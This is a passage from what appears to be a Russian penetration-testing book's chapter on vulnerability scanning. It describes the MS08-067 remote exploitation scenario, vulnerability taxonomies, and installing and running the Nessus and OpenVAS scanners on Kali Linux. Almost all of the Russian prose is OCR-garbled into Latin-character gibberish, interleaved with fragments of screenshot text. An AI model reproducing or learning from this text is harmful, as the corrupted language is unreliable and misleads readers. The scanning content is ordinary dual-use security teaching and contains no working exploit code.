
YaaneHHasa ysa3BUMOCTb

Yoanennas ysiz6umocmv — 310 COCTOSHIE, TIPU KOTOPOM 3JIOYMBITIIJIEHHUK €I1e HE TMEET
JIOCTYIIA, HO MOKET €r'0 II0JIYYUTh, 3aIlyCTUB BPEIOHOCHYIO YaCThb KOJIa Yepe3 ceTh. ITOT
THUII YSI3BUMOCTHU TI03BOJIAET 3JI0YMBINJIEHHUKY MTOJYYUTh YAQJICHHBINH TOCTYT K KOM-
mbioTepy 6e3 KaKuX-1160 (hU3NIECKUX UITH JTOKATBHBIX 6apbhepoB.

Hanpumep, Bob u Asmica noakiodenbl K MTHTepHETY ¢ pasHbIX yCTPOUCTB. Y HUX
pasuble [P-ampeca, 1a 11 *KUBYT OHNU B pa3HBIX MecTax. [Ipeamosnoxim, KoMbioTep AHCH
paboTaer 110/ yIpasJieHueM orepaimorHoi cuctembl Windows XP 1 cogepKuT CeKper-
HyI0 OuoTexHoorndyeckyio nadopmanuio, a boby ussecren IP-aapec Mammmbl Anncol
U TO, KaKas OneparoHHasi CUCTeMa YCTaHOBJIEHa Ha 9TOM KoMmTbioTepe. bob urier
pelierre, KOTOpoe MO3BOJIUT eMy TIOJYYUTh YIATEHHBIH 10CTYT K KOMITBIOTEPY AJIHCHI.
Co BpeMeHeM OH Y3HAET, 4TO ysA3BUMOCTH cay:kOb Windows Server MS08-067 mosket
OBITH JIETKO MCTIOMb30BaHA YIAJTEHHO HA KOMITbIOTEPE MO/l YITPABJICHUEM OTIePAIHOHHOIT
cucrembl Windows XP. 3atem OH 3allycKaeT SKCIUIONT MPOTHB KOMITBIOTEPA AJIHCHI
1 TI0JIy4aeT K MallliHe [TOJIHbIH JOCTYIL.

[JononHutenbHble cBeeHus 06 ysa3BuMocTy cnyx6el MS08-067 MS Windows
Server MOXKHO HaiTu no agpecy http://www.exploit-db.com/exploits/6841/.

CuctemaTtusauust ys3BMMOCTEN

C yBesIUeHeM KOJIMYECTBA JIOCTYITHBIX TEXHOJIOTHI 32 TIOCJIEIHIE HECKOJIBKO JIET TPE/I-
MIPUHUMAJIMCH PA3INYHbIE OTBITKU BBECTH HanboJiee yAI00HY 0 Kaaccru(DUKaIuio, UTo0bI
PaCIpeIe/IuTh 110 KATErOPUsIM BCE BO3MOKHbIE YsI3BUMOCTH. TeM He MeHee He Bce pac-
NpOCTpaHeHHbIe OMMOKU KOANPOBAHUS, KOTOPBIE MOTYT MOBJIUATDH Ha GE30ITaCHOCTD CH-
CTEMBI, YIAJIOCH KITACCU(UITNPOBATH. ITO CBS3AHO C TEM, UTO KasK/IAsT YSI3BUMOCTD MOKET
OTHOCHTBCST K HECKOJLKIM KATETOPHSIM T Kaaccam. Kpome ToTo, Kaskaast crucTeMHast
mrathopmMa MeeT COOCTBEHHYTO TTOAKTIOUaeMyTo 6a3y ysI3BIMOCTEH, CTOKHOCTH € pac-
IMTUPEHNEM U B pe3yJIbTaTe — CJIOKHOCTH B3aMMOIEHCTBUS C BHETITHEHN cpesioil.



198 maBa 6 e CkaHWpoBaHWe ys3BUMOCTEN

B CJIeI[yIOHIefI Ta6JII/IHe MBI IIPEJICTABJAEM BaM CTaH/IapTbl TAKCOHOMUN (K]IaCCI/I-
(l)I/IKaHI/II/I n CI/ICTeMaTI/I3aHI/II/I), KOTOpbIC ITOMOTYT BaM 110 BO3BMOJKHOCTHU OIIPEAETNUTDb
GOJIBIIMHCTBO PpacIipoCTpaHE€HHbIX c60eB 6e3011aCHOCTH. O6paTI/ITe BHHUMaHHE: TTIOYTHN
BCE€ U3 9TUX CTaH/IaPTOB YK€ PEAJIM30BaHbI B PsAJI€ THCTPYMEHTOB OIIEHKN 6e3011aCHOCTH.
[[aHHI)IE‘ MHCTPYMEHTDI ITO3BOJIAIOT U3y4aTb HpO6JIeMbI 6e3011acHOCTH IIpOrpaMMHOI'0
obecIleyeHNs B PEXHUME pEeaJibHOTO BPEMEHU.

CraHpapt 6e3onacHoctu | Ccbinika Ha pecypc

Seven pernicious kingdoms | http://www.cigital.com/papers/download/bsi11-taxonomy.pdf
(CeMmb maryGHbBIX TIAPCTB)

Common weakness enu- http://cwe.mitre.org/data/index.html
meration (ITepeuncnenue
00LIUX HEJOCTATKOB)

OWASP Top 10 http://www.owasp.org/index.php/Category:OWASP_Top_ Ten
Project

Klocwork (Qacooii http://www.klocwork.com/products/documentation/Insight-.1/

MeXaHU3M) Taxonomy

WASC threat classification | http://projects.webappsec.org/Threat-Classification
(Knaccudukanus yrpos
WASC)

OcHoBHas (PYHKLMS KAxkK/JOr0 U3 9TUX CTAHAAPTOB 0e30IacHOCTH (TaKCOHOMIMIT)
3aKJTI0YAETCS B CUCTEMATHU3AIMK KAaTETOPUIl U KJIACCOB YSI3BUMOCTEI, KOTOPBIE MOTYT
HCIIOJB30BATH CHEIUATUCTEI 0 GE30MACHOCTH U Pa3pabOTUYNKU TIPOrPaMMHOTO obe-
CTICYEHUS JIUIS BBISIBJICHUS KOHKPETHBIX o160k, O6parnTe BHUMAHUE: HU OJIMH TaKOi
craHapt 6e30MaCHOCTH HE MOJKET CUUTATHCSA TOUHBIM ¥ TTOJTHBIM.

ABTOMaTUYECKOE CKAHUPOBaHUE YSA3BUMOCTEWN

UcnpiTatenn Ha TPOHUKHOBEHNUE OYEHDB OCTOPOXKHO OTHOCATCS K aBTOMAaTUYECKOMY
CKAHUPOBAHUIO YSI3BUMOCTEN M MHOT/Ia TOBOPST, UTO 3TO MPOCTO MOIIEHHUYECTBO.
XoTs, ecnm Majio BpeMEeHH, aBTOMAaTHYECKIEe CKaHEPBl YI3BUMOCTEN MOTYT TTIOMOYb
HnoJIy4uTh GOJBIION 06beM HH(POPMAIIN O TIETEBOI ceTH.

Nessus 7

Tenable’s Nessus ObL1 paspaboTaH ABa JeCATUIETUAS Ha3a/l U 10 CUX [10P OCTAETCS OUeHb
TIOTIYJITPHBIM MHCTPYMEHTOM oO1leHKN ysa3BumocTeil. Ha Nessus MOKHO rozinucatbest Ha
roa. Oxnaxo xoporuue oau B Tenable cospanu ceapmyio Bepeuio Nessus Professional
U peIaraioT npoOHyI0 BEPCHIO BCEM, KTO JKeIaeT ¢ HEeI0 03HAKOMUTHCS.

ITepen ycraHOBKOIT BaM He0OX0AMMO y3HaTh, Kakas Bepcus Kali Linux ycranosieHa
Ha BaleM KOMIbIOTEPe. DTO MOMOKET BaM CKavyaTh Ty Bepcuio Nessus, Kotopast Oyier
6e3 c60eB paboTarh ¢ Ballieil OrepanoHHON CHCTEMO.
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BBenure B KOMaHHYIO CTPOKY TEpMUHAJA KOMaH/Ly uname -a (puc. 6.1).

199

File Edit

View Search Terminal

i:-# clear
i:~# uname -a

Help

1i 4.15.0-kaliz-amd64 #1 SMP Debian 4.15.11-1kalil (2018-83-21) x86_64 GNU/Linux

ali:~# ]

Puc. 6.1. Mposepka Bepcun Kali Linux

Ha puc. 6.1 BugHo, uto g ucnosbsyio 64-paspsanyto epcuto (amd64) Kali Linux Ha
ocHose Debian. Takum o6pasom, MHE HY;KHO OYIeT 3arpysuTh 64-paspsiHyi0 BEPCUIO
Nessus, npegHasHaueHHyI0 111 cbopok Debian.

¥YcranoBka ckanepa ysssumocreii Nessus. Uro6sr yeranosutb Nessus B Kali Linux,

oTKpoiiTe Opaysep u nepeiiaure Ha crpanuily Nessus (https://www.tenable.com/try).

O3HaKOMUTEIbHAST BEPCUSI TIOCTABJISIETCS CO BCeMU (DYHKITMSMU TTOJTHON BEPCHUH, 32
HCKJIoUuenreM orpanndennii 16-1P.
Y06kl HOIYYUTh IPOOHYIO BEPCHIO, BaM 1ToTpedyeTcs 3aperncrpuposarbes B Tenable.
[To 5J1eKTPOHHOI TTOYTE BBI TTOJYIUTE KO TOATBep:KAeHUsL. [loce mosyuenust nuchbma
€ KOJIOM IOATBEPKAEHUS Bbl MOJKETe cKayaTh HykHYyI0 Bepcuio Nessus B Kali Linux

(puc. 6.2

).

Nessus - 7.1.3 s
Release Date

unbreakable enterprise Kernel)

Puc. 6.2. lNpeanaraemble ans ckayvsaHus Bepcun Nessus

o7fa1f2008
Release Notes:
Nessus 713
Name Description Detalls
& Nessus-713-x64msi Windows Server 2008, Server 2008 R2*, Server 2012, Server 2012 Checksum
R2,7, 8, 10, Server 2016 {64-bil)
Nessus 713 cshaBb_bhrpm Red Hat ES 5 (b4 bit) / Cent0s 5 / Oracle Linux 5 (including Checksum
Unhreakable Fnterprise Kernel)
f  Nessus-713-susel2x86_64.rpm SUSE 12 Enlerprise (64-bil) Checksum
Nessus 713 esbidserpm Red Hat ES 6i386(32 bit) / Centos & / Oracle Linux 6 (including Checksum
unhreakable Enterprise Kemnel)
& Nessus-713-Win32.amsi Windows 7, 8, 10 {32-bit) Checksum
Nessus 713 5use11.x86_b4rpm SUSE 11 Enterprise (b4 bit) Checksum
L 55 0s-7.0.3-debiant_amd6s.deb) Debian 6,7, 8 9 [ Kali Linux 1, 2017.3 AMD
#  Nessus-713-eshi3serpm Red Hat ES 5 i386(32 bit) / Centos 5 / Oracle Linux 5 (including Checksum
unbreakable enterprise Kernel)
&  Nessus-71.3-fc20.x86_64rpm Fedora 20, 21, 25, 26, 27 (64-bit) Checksum
#  Nessus 713-e5/X86_bhrpm Red Hat ES 7 (64 bit) / Cent0s 7 f Oracle Linux / (including Checksum
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Boibepute Bepcuio Nessus, COOTBETCTBYIOILYIO Ballleil OMepaiimoHHOl crcTeMe.
Yr0o6bl COTIACUTBCS € YCIAOBUSMHU UCIOIB30BAHU, HaxkMuUTe KHOMKY Accept (TTpuHsaTh).
[lasiee B mosiBUBIIIEMCS TMATIOTOBOM OKHE HaxkMHUTe KHOTIKY Save File (Coxpanutb daiin).
Maiin Gyjer coxpaHeH Ha BallleM KOMIIbIoTepe B marke Downloads. Mbl jiist 5TOr0 Tpu-
Mepa sarpysusiu 64-6uthyio Bepcuio Nessus (Nessus-7.1.3-debian6_amd64.deb).

TTocsie Toro Kak 3arpyska OyzieT 3aBepIieHa, 3allyCTUTE HOBBII TEPMIHAI U Mepeiiu-
Te B Katajor 3arpy3ok. /17151 9Toro BBe/iuTe B KOMaH/IHYIO CTPOKY KOMaH/Iy cd Downloads.
[lasee mpocMOTpHTE COMEPKUMOE KaTaIora, BBeist KoMaHy 1s. C ITOMOIIBIo 9TOTO JIeii-
CTBUSI BBI MOKETE YOCAUThCS, UTO (halisr IEHCTBUTEIbHO CKaYaH U COXPAHEH B IIEJIEBOI
nanke. Kpome Toro, BbI MOJKETE CKOITUPOBATH UM YCTAHOBOUHOTO (haiiia, 4ToObI BCTa-
BUTD €T0 B CJIEAYIONIyI0 KoMaHy. /lasee, 9To6b1 yeTaHOBUTH Nessus, BBEIUTE KOMAH/LY
dpkg -i Nessus-7.1.3-debian6_amd64.deb, kak moka3aHo Ha puc. 6.3.

root@kali:~# cd Downloads
root@kali:~/Downloads# 1s

Messﬁs-?.1.3-debian6_amd64.deb
root@kali:~/Downloads# dpkg -i Nessus-7.1.3-debian6_amd64.deb

Puc. 6.3. YcrtaHoBka Nessus

Ecnm 6yayT AocTynHbl HoBble Bepcun Nessus, Asisi BbINMOSIHEHWS] KOMaHAbI
dpkg -i ckonupyiTe UMsa ckauyaHHoro aina 3arpy3ku 1 ero Bepcuio.

He Boixozist u3 karasora Downloads, 3amycrture cay:k6y Nessus. /lyist aToro BBeauTe
KOMaHjy service nessusd start. [Ipu MosiBJIeHUN CJIGYIONIErO 3aMPOCA YKAKUTE TIa-
poub aust Kali Linux (puc. 6.4).

root@kali:~/Downloads# service nessusd start
Enter Auth Password: *#**

root@kali:~/Downloads# I

Puc. 6.4. 3anyck cnyx6bl Nessus

Jlnst paborer ¢ Nessus oTkpoiiTe 6paysep, BBeAUTE B alpeCHYIO CTPOKY https://
localhost:8834 1 HaskMuTe KJaaBuiry Enter. Korza nosisurcs 6GaHHep ¢ IpemayIpesKaeHueM
06 onacHocTH, HaskMUTe KHOTIKY Advanced (J[OmOJTHUTEBHO), lajiee HaKMUTE KHOTIKY
Add Exception (Jlo6aBuTh HCKJIIOUEHE) U B KOHIIe — KHOIKY Confirm Security Exception
(TToarBepauTh uckOUYeHIe Oe3omacHoctn) (puc. 6.5).

JL1st TPOIOITKEH ST 3AITyCKa CIIYKOBI BHITIOJIHNUTE CTEAYIOTIIE TATH.

1. CospafiTe cHauama yUYeTHYIO 3alI1Ch, YKa3aB MM TTOJTb30BATENSI U CBOH aKKAYHT, 110-
cjie 9ero HaxkMnTe KHONKY Continue (I1pomokuTh).
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& | (0| https:/localhost 8834 | @ | search |

Most Visited~ [[]Oftensive Security S Kali Linux *§ Kali Docs " Kali Tools % Exploit-DB Wy Aircrack-ng gllKali Forums “ MetHunter S Kali

ﬁ Your connection is not secure

The owner of localhost has configured thelr website improperly. To protect your information from being stolen, Firefox
has not connected to this website.

Leam more..

Advanced

[ ] Report errors like this to help Mozilla identify and block malicious sites

Puc. 6.5. [lobaBneHne UCKIOUYEHUs

2. OcraBbTe npeiaraeMble 10 yMOJIYaHUIO HACTPOIKU Home, Professional niin Manager,
BBe/IMTE B 1T0JIe BBO/IA Activation Code (Ko akTrBaIim) MoyYeHHbIH 110 9JIeKTPOHHON
MouTe KOJI aKTUBAIMK U HAKMUTE KHOTIKY Continue (ITpomoskuTh).

Ecmm Bce mpoiiziet ynauno, Nessus HaUHET MHUTTMATN3AIINIO, 3aTPY3UT U CKOMITHJITH -
pyer HeoGXouMbIe TTarnHbl (puc. 6.6).

STEP 3 OF 3 Nessus o

Initializing
Please wait while Nessus prepares the files needed

to scan your assets.

Downloading plugins...

[ |

© 2018 Tenahle™, Inc.

Puc. 6.6. VlHmumanmsaums Nessus

B 3aBMCKMMOCTM OT CKOPOCTM Ballero coefMHeHus ¢ IHTepHeTOM AaHHast
npoueaypa MoOXeT NPOANUTbCS HekoTopoe BpeMsl. Moka 6yaeT npoucxoanTs
yCTaHOBKa, MOXeTe 3alT Ha calnT www.packtpub.com 1 NocMoTpeTh eLle KHKM-
rn ot Packt Publishing no Kali Linux n no TectmpoBaHuio Ha NpOHWKHOBEHME.
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ITocJie 3aBepieHuns Beex 0OHOBIeHMI Oy et sarpyskeH uHTepdeiic Nessus. Haskmure
PAaCIIOJIOKEHHYIO B IIPAaBOM BepxHeM yriy KHonKy New Scan (HoBoe ckanuposanue),
94TOOBI TPOCMOTPETH BCE IOCTYITHBIE TUTIBI CKaHUPOBaHust (puc. 6.7).

My Scans Import New Folder

@ My Scans

All Scans

Create a now scan
Trash

Policles
Plugin Rules

Customized Reports

e @ 0

Scanners

Puc. 6.7. JoCTynHble BUAbI CKAHUPOBaHMUS

3J1ech TpeTaraeTCs AJIsk UCIOIb30BaHst OOJIBIIIOE KOJMYECTBO MAabJOHOB CKAHUPO-
Batust. ECTh HECKOJIBKO MabI0HOB, KOTOPBIE OCTYITHBI TOJIBKO TI0 TJIATHO TTOJMUCKE.
Kpome oOHapysKeHUsT y3J0B U PACIIUPEHHOTO CKAaHUPOBaHUsT, Nessus MPOBOAUT pac-
MIMPEHHOE CKAHUPOBAHUE YS3BUMOCTEH, B TOM YHCJIE CJIEIYIONUX TUTIOB.
CkanupoBaHue 001aqHON MHDPACTPYKTYPBL
JlokanbHOE U yIaTeHHOe CKaHMPOBaHe 0OHAPYKEHHBIX TOBPEKAEHHBIX 000T0UEK.
CxannpoBanne BHyTpeHHeil cetn PCIL.
CkaHupoBaHUe BPeJOHOCHBIX IIporpaMM Linux n Windows.
Cxkanuposanue Meltdown u Spectre.

Cxanuposanue nporpamMmm-eiMoraresieiit WannaCry.

O00000D

CkanupoBaHuie Be6-ysI3BUMOCTEIN.

Hexoropbie u3 Hux nokasanst Ha puc. 6.8.

Yro6bl TPOAEMOHCTPUPOBATH OOHAPYKEHNE YA3SBUMOCTEN, BOCTIONb3YEMCsl YSI3BH-
MbIM BeO-cepBepoMm Linux. B riiaBe 2 Mbl pacckasbiBasiu, Kak Hactpouth Metasploitable 2,
Metasploitable 3, ouenn ysi3Bumyio cucremy Linux u BadStore.

B okHe ckanepa meikHATe Ha 1rabyione Advanced Scan (PaciiimpeHHOe CKaHPOBAHHE)
u B paszesie BASIC (OcHoBHOE) 3aroTHUTE T0Jist BBoja. B mosie Targets (Ilesin) ykasku-
te [P-azpec 11es1eBoii MalmHbl WK [Uana3ol [P-apecoB 1eieBbIX MallnH, KOTOPbIe
JOJKHBI OBITH MTPOCKaHUPOBAHBI ¢ IOMOIIbIO MAGI0Ha PACITUPEHHOTO CKaHUPOBAHIIS
(puc. 6.9).
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Scans Setings efsi o

Scan Templates

+ Dack 10 Scans

i Al Scans

seanner
i rrash
.n"m' o ' g
0 Policies -
Advanced Scan Auclit Cloud Infrastructure Hadlock Datection Rash Shallshock Datection

B Piugn Rules
B Cusiomized Repons
& Scanners

Ay §

Y 4

Basio Network Scan Gredentialed Patch Audit DROWN Dutection Host Discavery

# = \% el

Intel AMT Security Bypass Internal PCI Network Scan Malware Scan MDM Config Audit

[ = =2 E

Mobile Duvice Scan Gfline Canflg Audit Pl Quarterly Extornal Scan Palicy Compliance Auditing

Puc. 6.8. HekoTopble U3 BUAOB CKAHWMPOBAHMA

scans
BASIC v
B My Scans e Name Vuln Linux Server
General
B Al Scans :
Schedule e
fi Trash | LT Description
Notifications
DISCOVERY >
a Paolicies ASECSSMONT : Folder My Scans -
B Plugin Rules eon:
i e . Targets
B Customized Reports ADVANCED . get: 192.160.1.106
& scanners g g
Upload Targets Add File
Save H Cancel
Launch |

Puc. 6.9. YkasbiBaeM Lenun
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HOCKO]Ibe Ipe/raraeTcsa HECKOJIbKO Pa3/IMYHbIX HACTPOECK, U3YUYUTE JIPYyTUe€ pa3-
J1€JIbl JIEBOT'O CTO]I6I_[a. Ka?KI[bIﬁ N3 9TUX Pa3/I€JIOB ITO3BOJIAECT HACTPOUTb CKAaHUPOBaHNE
B COOTBETCTBUUN C KOHKPETHBIMHA Tp86OBaHI/IHMI/I.

QO DISCOVERY (OTkpbiTHe). Nessus UCIOJIb3YeT Psijl PasIMdHbIX METOOB /It OOHAPY-
JKeHUs JIENCTBYIONINX B IAHHOE BPEMST XOCTOB. 3/IECh MOKHO 3a/1aTh OTIPE/IeIeHHbIe
apaMeTpbl [JIs UX 0OHAPY KEeHUSL.

O ASSESSMENT (OtieHrBanue). 371eCh BbI MOJKETE 3a/1aTh THUIT U TJIyOUHY CKAHUPOBAHUSI.

O REPORTING (OtuetHOCTB). [Ipn moproroBke oTueTa 0 TECTUPOBAHUY HA IIPOHUKHOBE-
HIe BasKHO UMETh MOAPOOHYI0 MHMOPMALIUIO O TPOBEPKE YA3BUMOCTEl. ITa (hyHKIMST
IMO3BOJIACT 3a[aTh ITapaMeTPbl OTYETOB.

O ADVANCED (/lomostnuTenbHo). Pacipentbie HACTPOWKY TIO3BOJISTIOT U3MEHSTh HE TOJIb-
KO KOJIMYECTBO CKaHMUPYEMBbIX XOCTOB, HO U IpyIrHe [IapaMeTpbl CHHXPOHU3ALIN.

TMocste HACTPOWKY CKAHUPOBAHUS MOKHO BBIGPAaTh KoMaH Iy Save (COoXpaHuTbh) Wiin
Launch (3amyctutb). Bol yBuaure cricok My Scan (Mou ckanupoBaHus).

[IlenxkaMTE KHOMKOW MBI Ha 3HauKe Play (BocmponsBenenne), KOTOPBIN pacto-
JIOJKEH CIIPaBa OT UMEHM MabJI0Ha CKaHUPOBaHUs. By/ier 3amyieHo CKaHupPOBaHHeE,
Eciu 1miekHyTh Ha UMeHH MmabJoHa CKAaHUPOBAHMS BO BPEMsI TIPOBEIEHUS TECTa, HA
9KpaHe BBl yBUAUTE OOIIYI0 MH(DOPMAIINIO O CKAHIPYEMOH TIEIEBOI MallTiHe 1 00 ys3BU-
moctu (puc. 6.10).

Scans

My Scans lmnpuorl e Fulter
Search Srcans Q 1 Sran
[ Name Schedule Last Modified ¥
[ Wuln Linux Server on Demand {+ Today at 6:38 PM

Puc. 6.10. O6was nHdopMaumsi 0 CKaHMPOBaHUM

Ecnu merkHeTe KHOTIKOM MBIIITY HA CKAHUPYEMOM ITIEJIEBOM KOMIIBIOTEPE, TO YBUIUTE
GoJiee TTOAPOOHBII CIIMCOK 0OHAPYKEHHBIX YSI3BIMOCTEI. Y A3BMMOCTI UMEIOT LIBETOBYIO
MapKUPOBKY:

O KpacHBIN — KPUTUYECKUH YPOBEHD;
OPaHKEBBII — BBHICOKHI;
JKEJITBI — CpelHuii;

3eJIeHbIN — HU3KUIL;

0Oo0o0Oo

CUHUI — CO/lepKUT MHMOPMAIUIO.
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Kax BuzHO Ha puc. 6.11, 1py ckaHMPOBaHUU B 00LIEN CJI0KHOCTH ObLIO 0OHAPYKEHO
70 ys13BUMOCTEH, 13 KOTOPBIX TECTh SBJISIOTCS KPUTUIECKUMU 1 17 — BBICOKOTO YPOBHSI.
ITO 3HAYUT, YTO MAIIUHA OYEHD YSI3BUMA.

Vuln Linux Server
« Back 10 My Scans

Hosts 1 Vulnerabilities | 70 Remaeduations 2 History | 2
Filter 1 0. | 1Host

Host Vulnerabiities

192.160.1.106 [ =

Puc. 6.11. OTYeT 0 HaWAEHHbIX YSI3BUMOCTSIX

Configure.

Audit Trail Launch = Expot =
Secan Datalls
Nam: Widn Linx Senver
Status: Completed
Pulicy Adviscad Scan
Scanner: Local Scanner
Stan: Today at 6:42 PM
End: Today at G:4% PM
Elapsat: 2 minites
Vulnerabilities
" & Criscal
® High
Medium
o Low
. i

Ecii e/ IKHyTh KHOTIKOM MBIIIH HA IIBETHBIX KATETOPHIX YSI3BUMOCTEN, OGHapy-
JKEHHBIE YSI3BIMOCTH 0TOOPA3SITCS B TIOPSI/IKE OT HanboJiee ysI3BUMBIX (TO €CTh KPUTH-
YeCcKMX) 710 HauMeHee ySI3BUMBIX (MHGOPMAITMOHHBIX) (puc. 6.12).

Vuln Linux Server / 1982.168.1.106

< Back 1o Hosts
Vulnerabllities | 70
Filor Vailnsal Q, | 70 Vuneabiliies
L] Sevw Name &
0 m Apache mod_proxy Conent-Lengin Overliow
O EEET openssi < 0.9.011 0950 Multipe Vunerabilties

L m OpenS8L Lnsuppored

Apache < 1.3.29 Multiple Modules Local Overfiow

Apache mod_ss ss]_engine log.c mod_poxy Hook Fun..
mond sl sl ulil_usencodebiniry Remate Ouerllow

m] m OpenSSL < 0.9.01 Mutiple Vulnerabiities
[

Opanssl < 0.9.85 Muliple Vuineratiities

E=
o m Apache < L3.37 mod_rewnite LOAP Protocol URL Hands, ..
HEH

Family &

Wed Senvers

Wl Seniens

Wby Servers

‘Web Servers

Web Servers

Wb Servers

Wb Benvens

‘Web Servers

Wl Seniens

Configura

At Trall Launch = Expant =
Host Detalls

B: 192,168, L10%

MAC: 08:00:27:ac:07: 12

as: Limx Kesrwd 2.4

Start: Today at %43 PM

End: Today at 6:45 PM

Elapsed: 2 mindes

K8: Dawniad

Vulnerabliities

" ® Critical
. @ Hgh

Medium

Puc. 6.12. OTo6paxeHne HalgeHHbIX YA3BUMOCTEN B MOPSAAKE OT KPUTUYECKUX [0 MHGOPMALIMOHHBIX
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[Monyuernas wHMOOPMAIINS BKIIOYAECT B ceOs CBEIEHUS HE TOJNBKO 00 YA3BUMOCTH,
HO 1 00 sxcrmofTax. OHa TTO3BOISIET UCITBITATENIO 3ATLTAHNPOBATD M OCYTIECTBUTD /10~
MOJIHATEJTbHBIE aTaKK Ha 3TH ysA3BUMOcTH (puc. 6.13).

Configure Audit Trail Launch =« _

Nessus I
PDF

HTML

csv

< ?  Plugin Details
Nessus DB
Severity: Critical

Puc. 6.13. Co3agaHne oT4ETHOCTN

Nessus — MOIIHbIII MHCTPYMEHT ¢ OOJIBIINM KOJUYECTBOM (DYHKIIMOHAJIBHBIX BO3-
MO)KHOCTGIL/,I, KOTOprﬁ MOJKHO HMCITOJTb30BATh IIPU TECTUPOBAHWMN Ha IMTPOHUKHOBEHUE.
On npegocrasisier 60blI0i 06beM nHbopMmanun. K coxkaieHuio, B 9ToM pasese Mbl
HEe CMOKEM PACCMOTPETh BeCh (hYHKIIMOHAJ ITPOrPaMMbl, HO DEKOMEH/IyeM BaM T10Tpa-
TUTh HEKOTOPOE BPEMsI Ha CAMOCTOSITEIbHOE U3YUeHte JOCTYMHBIX hyHKIui. O6parure
BHUManue, yTo Tenable npeparaer 6eciIaTHO IPOTECTUPOBATH U JOMAIIHIO BEPCHUIO.
Ecou ke BbI sKeqraete nporectupoBaTh BHelHue [P-aapeca niu npumensiete Nessus
TSI KITUEHTa, BaM MIPHUIETCST BOCIIOIb30BATHCS TIATHON BEPCHE.

OpenVAS

Open Vulnerability Assessment System (OTKpPbITask CUCTEMA OLEHKHU yA3BUMOCTEIA,
OpenVAS) — dbpeliMBOPK, COCTOSITIINI U3 HECKOJIBKUX CepBUCOB 1 YTUIAT. OpenVAS —
9TO CKaHep € OTKPBITBIM UCXOAHBIM Koj10oM. OH NMPOCT B yCTAaHOBKE U UMeeT ya00-
HBIIT HTEpdelic, TO3BOISIONMNUI BBITTOIHATh AKTUBHBII MOHUTOPUHT (C aKTUBHBIMU
neiictBusimu B cetn). CorsacHo caiiTy http://www.openvas.org/about.html ipu pabore
OpenV AS ncnosib3yer KOJIEKIUIO ysi3BuMOcTelt, coctostiryio u3 50 000 recros (NVTs).
OpenVAS gsisiercss 0OCHOBOM JIMHEKN mpodeccroHalbHbIX yeTpoiicTe Greenbone
Secure Manager.

Yrobbr yeranosuth OpenVAS, 0TKpoiiTe TepMUHAJ U BBEMTE KOMaHLy apt-get
install openvas (puc. 6.14).

Korma ycranoska OpenV AS Gyier 3aBepiiieHa, 1JIs1 3allycka KOH(GUTYpaIluy BBEANUTE
B KOMAaH/IHYIO CTPOKY TepMIHAJIA KOMaH/y openvas-setup. [Ipoiecc koudurypamun
3aiiMeT HEKOTOPOe BPeMs, B 3aBUCUMOCTH OT 3arPY3KH CETH U CKOPOCTHU TTOIKJTIOUEHIIS
k Uurepuery (puc. 6.15).
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root@kali: ~

File Edit View Search Terminal Help
| root@kali:~# apt-get install openvas
| Reading package lists... Done

| Building dependency tree
|Reading state information... Done

Puc. 6.14. YcraHoska OpenVAS

root@kali:~# openvas-setup

[>] Updating OpenVAS feeds
[*] [1/3] Updating: NVT

Puc. 6.15. KoHdurypaums npunoxeHus

B konrie nporecca ycranoBku u HacTpoiiku OpenVAS crenepupyet napoJb, KOTO-
poiii moTpebyercsa npu sammycke OpenVAS (puc. 6.16).

[>=] Checking for admin user

[*#] Creating admin user
User created with password '1f52e38c-4522-4b22

Puc. 6.16. MNaponb creHepmpoBaH

[lna 3amycka cepsuca OpenVAS BBesiTe KoMaHy openvas-start. [lasee 3amycrute
Opaysep 1 BBeUTE B aJlpecHyio CTPOKY https://127.0.0.1:9392 uuu https://localhost:9392.

Mpn NOBTOPHOM MCMosb30BaHMM OpenVAS OTKpoWTe TEPMUHAN U BBEAUTE
KoMaHAay openvas-start. HoBytO yCTaHOBKY 3anyckaTb He cneayer.

Bam nocuie sBoga npeapiaymero URL-aapeca cHoBa npugercs 106aBUTh UCKIIIOUe-
Hue GesonacHocTr. JIJist 3T0ro HaskMuTe KHOTKY Advanced (J{omosiHuTeNbHO), najiee —
kHOMKY Add Exception ([Io6aBuTh HCKIIOUEHKE ), a 3aTeM KHOIKY Confirm Security Exception
(ITonTBepauTh nckI0UeHe OesomacHoctn) (puc. 6.17).

[Tpu nosBienun 3ampoca BOWAUTE B CUCTEMY, BBe/sl UM 110JIb3oBaTesd admin
U TIapOJib, CTCHEPUPOBAHHBIN B ITPOTIECCE YCTAHOBKHU. Y OEIMTECh, UTO JIOTHH U MapOJib
HaJ(eKHO COXPAHEHbI, Tak Kak BaMm 11pu pabote ¢ OpenVAS HeoHOKpaTHO otpedyercs
BXO/JIUTH B cucteMy (puc. 6.18).

Yro6bl 3a1TyCTUTH CKAHUPOBAHME, TIETKHITE Ha SPJIbIKe BRIy Scans (CkaHMpOBa-
HU), a 3aTeM Ha cTpoke Tasks (3amaum). OTKpoeTcst MHDOPMAITMOHHOE OKHO, B KOTOPOM
HY’KHO BBIGpaATh Mactep 3aga4. OH mpejicTaBiieH B Buze (GhHOJeTOBOTO 3HAYKA, PACTIOJNO-
JKEHHOTO B JIEBOM BepxHeM yTJy akpana (puc. 6.19).
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€ | @ | https://127.0.0.1:9392 | ¢ || search &% a ¢ @& E

5 Most Visited~ [l Offensive Security S Kali Linux S, Kali Docs S Kali Tools * Cxploit-DB Wy Aircrack-ng gdKali Forums

Your connection is not secure

The owner of 127.0.0.1 has configured their website improperly. To protect your information from being stolen, Fircfox
has not connected to this website.

Learn more...

o |

Report errors like this to help Modzilla identify and block malicious sites

Puc. 6.17. MoaTeepxaeHve aobaBneHns ncknoveHns 6e3onacHoCcTv

& -) I?T)_P hﬁps:i.‘n’ﬁJ'-.E_J.-O_.i:Q-B_Q_i.IFlcginfogin.h?ml I. <] Il Search

[ Most Visited v [l Offensive Security S Kali Linux % Kali Docs S Kali Tools ‘. Exploit-DB Yy Aircrack-ng gliKali Forums S NetHunter ' Kali Training @

Security

I

Gre: ;| bone
Security
Assistant

Puc. 6.18. 3anyck OpenVAS
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Greenbone
Security Assistant

Dashboard Scans Assets Secinfo

HEREO Filter:
Task Wizard min_god=70 apply_overrides|

Advanced Task Wizard
Modify Task Wizard

Mﬁsks (0 of 0)
~ Tasks by Severity Class (Total: 0) m

Puc. 6.19. 3anyck ckaHMpoBaHus

B oTkpoiBmiemcs mento megkHNUTE Ha cTpoke Advanced Task Wizard (MacTtep pac-
MTUPEHHBIX 33/1a4). B MOSBUBIIUXCS TOJSX BBEUTE COOTBETCTBYIONTYIO HH(MOPMAITUIO
